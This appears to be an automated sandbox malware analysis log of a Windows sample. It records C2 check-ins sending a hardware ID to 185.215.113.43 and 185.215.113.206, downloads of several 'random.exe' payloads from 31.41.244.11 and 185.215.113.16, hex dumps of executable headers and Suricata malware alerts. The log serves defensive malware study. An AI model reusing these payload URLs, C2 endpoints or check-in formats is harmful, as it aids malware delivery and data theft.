Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:50:57 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:51:05 GMTContent-Type: application/octet-streamContent-Length: 393728Last-Modified: Thu, 12 Dec 2024 07:55:00 GMTConnection: keep-aliveETag: "675a96d4-60200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 67 05 00 64 00 00 00 00 30 06 00 98 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 2d 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 61 05 00 00 10 00 00 00 62 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ab 00 00 00 80 05 00 00 60 00 00 00 66 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 7a 1e 00 00 30 06 00 00 3c 00 00 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014518001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014519001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014520001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAEHost: 185.215.113.206Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 41 31 34 46 30 34 30 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 2d 2d 0d 0a Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="hwid"E49A14F040FF9645207------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="build"stok------HJJDGHCBGDHIECBGIDAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014521001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHHost: 185.215.113.206Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 41 31 34 46 30 34 30 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="hwid"E49A14F040FF9645207------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build"stok------JKJKJJDBKEGIECAAECFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014522001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014523001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014524001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 185.215.113.206Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 41 31 34 46 30 34 30 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="hwid"E49A14F040FF9645207------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="build"stok------IIJEBAECGCBKECAAAEBF--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49878 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49901 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49919 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49942 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49971 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50006 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50023 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50057 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50069 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50075 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50082 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50077 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50079 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50102 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50072 -> 172.67.139.78:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0039E0C0 recv,recv,recv,recv,

0_2_0039E0C0

Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
